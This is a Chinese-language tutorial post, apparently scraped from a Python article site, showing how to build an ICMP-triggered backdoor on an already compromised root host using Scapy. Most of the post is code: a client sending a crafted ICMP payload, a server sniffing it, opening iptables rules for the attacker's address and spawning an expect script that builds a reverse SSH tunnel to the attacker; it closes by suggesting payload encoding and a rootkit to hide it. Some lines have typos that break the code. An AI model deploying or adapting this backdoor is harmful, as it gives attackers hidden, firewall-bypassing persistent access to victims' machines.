用Python编写一个简单的CS架构后门的方法


Posted in Python onNovember 20, 2018

0x00:事先说明

  • 你已经攻陷了对方主机且获得了最高权限。
  • 对方的本地防火墙会丢弃所有的外来数据包。
  • 这个后门不会仅绑定在某一个端口上。
  • 这段代码很容易写,毕竟是 Python(准确说是 Python 2.x)。

0x01:工作原理

用Python编写一个简单的CS架构后门的方法

如你所见,客户端将伪造具有 ICMP 负载的特定数据包,另一方面在服务端,也就是我们的被攻击主机,将会接受我们发送的数据包,即使它开启了本地的防火墙(丢弃所有外来数据包)。关键在于无线网卡的监听模式,它无需和 AP 建立连接却可以和接受所有流经空气的数据包。

我们会用到一个有用的第三方包 Scapy。这是它的官方文档。如果你是第一次使用,不妨参考这篇文章,也许会有帮助。

0x02:客户端代码

'''
客户端代码。将服务端的 IP 地址、客户端的 IP 地址、客户端的连接端口,以及连接所需密码作为程序输入。如果成功返回一个交互式后门,在代码硬编码好的位置写入日志文件信息。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import os
import os.path
import sys
import time
logging.getLongger("scapy.runtime").setLevel(loggin.ERROR)
file_result = "/tmp/done"
if len(sys.argv) != 5:
 print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ”
 sys.exit(1)
server = sys.argv[1]
if os.path.isfile(file_result):
 os.remove(file_result)
load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]
pingr = IP(dst = server) / ICMP() / load
send(pingr, verbose = 0) # send() 函数工作在协议栈的第三层(网络层)

0x04:服务端代码

服务端代码分为两块:1. 主要脚本部分、2. ssh 隧道部分。

'''
服务端代码之主要脚本部分。这个脚本会监听 ICMP 数据包并从句法上分析其携带的数据部分(客户端 IP 地址、客户端连接端口、连接所需密码)。接着在本地打开两个新的防火墙规则。最后调用另一个 expect 脚本,以建立和客户端之间稳定的 ssh 连接。
'''
#! /usr/bin/env python
import logging
import socket
from scapy.all import *
import re
import subprocess # py2.4 新增模块,允许用户编写代码生成新进程,连接到它们的 input/output/error 管道,并获取它们的返回/状态码。
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def icmp_monitor_callback(pkt):
 reg = re.compile("(.*)\|(.*)\|(.*)")
 g = reg.match(pkt.load)
 if g:
 subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT'])
 subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT'])
 p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)])
 return
sniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函数会嗅探来自空气中的数据包,prn 参数用来指定回调函数,每当符合 filter 的报文被探测到时,就会执行回调函数。有关该函数的详细信息,可以参考这篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/
'''
服务端代码之 ssh 隧道部分,实际上是一个简单的 expect 脚本。接受嗅探到的客户端 IP 地址、客户端端口,以及用于连接的密码作为输入。
'''
#!/usr/bin/expect -f
set ip [lindex $argv 0];
set port [lindex $argv 1];
set password [lindex $argv 2];
spawn ssh -o StrictHostKeyChecking=no -R 19999:localhost:$port $ip
expect "*?assword:*"
send "$password\r"
expect "*#"
send "touch /tmp/done\r"
interact

0x05:文末思考

上面完成的后门代码待完善的地方。

  • ICMP payload 应该被编码。
  • 添加其他的协议用来唤醒该后门(如 http、特定的 syn 包、dns 等)。
  • 写一个 rootkit,隐藏该后门,猥琐欲为。此乃后话。

有关 rootkit 的延伸阅读。

  • https://3water.com/article/151111.htm
  • https://null-byte.wonderhowto.com/how-to/writing-windows-10-rootkit-part-1-0165781/

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python转换摩斯密码示例
Feb 16 Python
python如何实现excel数据添加到mongodb
Jul 30 Python
利用Python代码实现数据可视化的5种方法详解
Mar 25 Python
pandas 条件搜索返回列表的方法
Oct 30 Python
在Python运行时动态查看进程内部信息的方法
Feb 22 Python
浅谈python的输入输出,注释,基本数据类型
Apr 02 Python
django最快程序开发流程详解
Jul 19 Python
Python及Pycharm安装方法图文教程
Aug 05 Python
Python matplotlib修改默认字体的操作
Mar 05 Python
Win10用vscode打开anaconda环境中的python出错问题的解决
May 25 Python
scrapy中如何设置应用cookies的方法(3种)
Sep 22 Python
matplotlib相关系统目录获取方式小结
Feb 03 Python
python pygame实现2048游戏
Nov 20 #Python
python pygame模块编写飞机大战
Nov 20 #Python
Python Scapy随心所欲研究TCP协议栈
Nov 20 #Python
python版飞机大战代码分享
Nov 20 #Python
pygame实现雷电游戏雏形开发
Nov 20 #Python
pygame游戏之旅 游戏中添加显示文字
Nov 20 #Python
pygame游戏之旅 添加键盘按键的方法
Nov 20 #Python
You might like
PHP脚本的10个技巧(3)
2006/10/09 PHP
中英文字符串翻转函数
2008/12/09 PHP
php邮件发送,php发送邮件的类
2011/03/24 PHP
控制PHP的输出:缓存并压缩动态页面
2013/06/11 PHP
Yii框架创建cronjob定时任务的方法分析
2017/05/23 PHP
php + ajax 实现的写入数据库操作简单示例
2020/05/16 PHP
jQuery $.data()方法使用注意细节
2012/12/31 Javascript
javascript中直接写php代码的方法
2013/07/31 Javascript
jQuery+ajax中getJSON() 用法实例
2014/12/22 Javascript
jQuery弹出框代码封装DialogHelper
2015/01/30 Javascript
基于jQuery实现的美观星级评论打分组件代码
2015/10/30 Javascript
对象题目的一个坑 理解Javascript对象
2015/12/22 Javascript
Vue.js每天必学之表单控件绑定
2016/09/05 Javascript
AngularJS ngModel实现指令与输入直接的数据通信
2016/09/21 Javascript
JS实现图片高斯模糊切换效果的焦点图实例
2017/01/21 Javascript
jquery 仿锚点跳转到页面指定位置的实例
2017/02/14 Javascript
Angular 4 指令快速入门教程
2017/06/07 Javascript
javascript流程控制语句集合
2017/09/18 Javascript
利用nvm管理多个版本的node.js与npm详解
2017/11/02 Javascript
Angular 4中如何显示内容的CSS样式示例代码
2017/11/06 Javascript
angularJS实现不同视图同步刷新详解
2018/10/09 Javascript
Nodejs中使用puppeteer控制浏览器中视频播放功能
2019/08/26 NodeJs
layui 关闭open弹出框 刷新table表格页面的方法
2019/09/16 Javascript
Vue-cli 移动端布局和动画使用详解
2020/08/10 Javascript
[05:17]DOTA2誓师:今天我们在这里 明天TI4等我!
2014/03/26 DOTA
[01:32:22]DOTA2-DPC中国联赛 正赛 Ehome vs VG BO3 第一场 2月5日
2021/03/11 DOTA
python的else子句使用指南
2016/02/27 Python
python实现八大排序算法(1)
2017/09/14 Python
python基础教程项目二之画幅好画
2018/04/02 Python
Django + Uwsgi + Nginx 实现生产环境部署的方法
2018/06/20 Python
对python中的six.moves模块的下载函数urlretrieve详解
2018/12/19 Python
Python3.6+Django2.0以上 xadmin站点的配置和使用教程图解
2019/06/04 Python
突袭HTML5之Javascript API扩展1—Web Worker异步执行及相关概述
2013/01/31 HTML / CSS
Currentbody美国/加拿大:美容仪专家
2020/03/09 全球购物
党的群众路线教育实践活动对照检查材料思想汇报
2014/09/19 职场文书
2015年党风廉政建设责任书
2015/01/29 职场文书